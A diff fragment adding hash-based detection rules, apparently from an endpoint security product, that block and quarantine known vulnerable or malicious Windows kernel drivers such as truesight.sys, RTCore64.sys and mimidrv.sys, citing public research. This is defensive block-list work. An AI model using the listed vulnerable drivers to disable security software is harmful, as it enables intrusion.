+}
+{
+  "id": "9f76f804-a448-5193-88ee-190fcf61212c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820842Z",
+  "creation_date": "2026-03-23T11:45:30.820844Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820849Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71c0ce3d33352ba6a0fb26e274d0fa87dc756d2473e104e0f5a7d57fab8a5713",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9f7c0e58-f5a9-5cf4-b97d-486a614fbd26",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490627Z",
+  "creation_date": "2026-03-23T11:45:31.490629Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490634Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "071336578deab97acdc527d45d67122ab60792452e87e2c4266290cf5256ee5e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9f9a184a-250e-54f2-81e1-8fcf735e6d8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464507Z",
+  "creation_date": "2026-03-23T11:45:30.464511Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464519Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c4fb31e3f24e40742a1b9855a2d67048fe64b26d8d2dbcec77d2d5deeded2bcc",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9f9adde1-e4ae-5b02-b8b2-aafd85316833",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480507Z",
+  "creation_date": "2026-03-23T11:45:30.480509Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480515Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf63f518c9e45fe87d336c87938eb587049602707f1ed16d605f8521f88e4a96",
+  "comment": "Vulnerable Kernel Driver (aka GtcKmdfBs.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9fa0cc83-f406-59b3-9c36-31847d8bbe11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472022Z",
+  "creation_date": "2026-03-23T11:45:31.472025Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472034Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8005fee105b6f251dc19050ea88526f12fc87eb9a7326ad65638fe5d0e1d2efa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9fa4c017-9654-5e44-af87-98f895df6718",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157015Z",
+  "creation_date": "2026-03-23T11:45:31.157017Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157022Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18d02775e841b6e56ea1f9b2dc56a3596dc2f3e0480ffd5f0cacf4e7e724de38",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9fa6bfc5-f95e-5596-9358-1c852a366575",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480616Z",
+  "creation_date": "2026-03-23T11:45:30.480618Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480623Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6370c82c2dbdf93608cccb88d78468edeb27f5d08f9ed0baf161842c0751f6a4",
+  "comment": "Vulnerable Kernel Driver (aka PDFWKRNL.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9fb01145-e9bf-5ca0-a00b-6ff17d666196",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472259Z",
+  "creation_date": "2026-03-23T11:45:31.472263Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472272Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1bb1d40fca74e8b9779f6a8dfe2aa39350fcd046fb132ee1e63f11576c4a1f1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9fb4c515-f2b4-5452-a6a7-498f84863df3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487487Z",
+  "creation_date": "2026-03-23T11:45:31.487489Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487495Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "92e8e56516313d95a3848cc8bf31f62772f9429b24005d59ccf45fb2c9865806",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9fcced42-d254-51f3-bfe5-bab106d8d5b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143686Z",
+  "creation_date": "2026-03-23T11:45:31.143688Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143694Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c4ee46b5a64e9b71632e6bccc028ae959718fe15625dd2dea6a51f7cc015e399",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9fdae2e8-aafb-5ecd-b928-1c6bb6ae6c3c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618426Z",
+  "creation_date": "2026-03-23T11:45:29.618428Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618433Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fd94be9ac97f06abe64426933fbee02871d5d181b1d9025daf1aaa92d9342e90",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9fdcebfc-1fd6-5c4f-af1e-f995e4007826",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458964Z",
+  "creation_date": "2026-03-23T11:45:30.458967Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458975Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47e35f474f259314c588af35e88561a015801b52db523eb75fc7eccff8b3be4d",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9fdecf22-f3bc-552e-a0a7-80456fd7a070",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481961Z",
+  "creation_date": "2026-03-23T11:45:31.481965Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481975Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1b9f1931bc06e8c1e960ba68e47793ba665ee7867fd506380284c56c82eb891",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9fe1f196-abaf-5987-9479-2cda5786f07b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604392Z",
+  "creation_date": "2026-03-23T11:45:29.604394Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604399Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ad2df1ae0c1ffaa2492de91bbe24ff6bf2b2beb18a62366207dfb4257ed5c60",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9fed866a-4ffd-5f83-9ef5-bd003504f9d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836226Z",
+  "creation_date": "2026-03-23T11:45:30.836228Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836234Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b42083b947b3470a55bb521a09099c25d87da901636ecd44db5772b8f9dcabd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a00fdff5-7af7-55d2-880c-c36ef64ce3b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157475Z",
+  "creation_date": "2026-03-23T11:45:31.157477Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157483Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "beb70f7809807d896af9f895e13f81619bef76ae1a365bd474a48c832845b291",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a014a0f7-396d-59e5-9ad3-214d83060ab1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828913Z",
+  "creation_date": "2026-03-23T11:45:30.828915Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828920Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9b66666884c70dbf81a6527ecabe874406c7000f799a1c40a12e879a88b3946",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a02aaf1d-192a-59ba-8f51-431a901e137e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499216Z",
+  "creation_date": "2026-03-23T11:45:31.499219Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499227Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b81fd3758ff5699d0a19666084589e26c852c1b09cc5ad4d95738ed752696c71",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a02c8c9b-5d11-568c-ab26-3039aacfee33",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811169Z",
+  "creation_date": "2026-03-23T11:45:31.811171Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb1b4cda773e14f1cca653451fce84d908fdc22d1acddae42627b9711012ba90",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a03c4320-54e7-5edd-916d-7a44c8911a8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150967Z",
+  "creation_date": "2026-03-23T11:45:31.150969Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150974Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e74d2b56f8ea71f5ba816420cefd44a7f780bcc97a6e315226705edd107f69ef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0421c55-eb48-5989-b144-d84321c73057",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977495Z",
+  "creation_date": "2026-03-23T11:45:29.977498Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977503Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29a90ae1dcee66335ece4287a06482716530509912be863c85a2a03a6450a5b6",
+  "comment": "Vulnerable Kernel Driver (aka CorsairLLAccess64.sys) [https://www.loldrivers.io/drivers/a9d9cbb7-b5f6-4e74-97a5-29993263280e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a043a402-37ff-5c76-9411-56fde8284dec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607543Z",
+  "creation_date": "2026-03-23T11:45:29.607545Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607551Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c5d7069f85ec1d6f58147431f88c4d7c48df73baf94ffdefd664f2606baf09c",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a04b8903-c331-57ef-afb7-5957517ed6eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
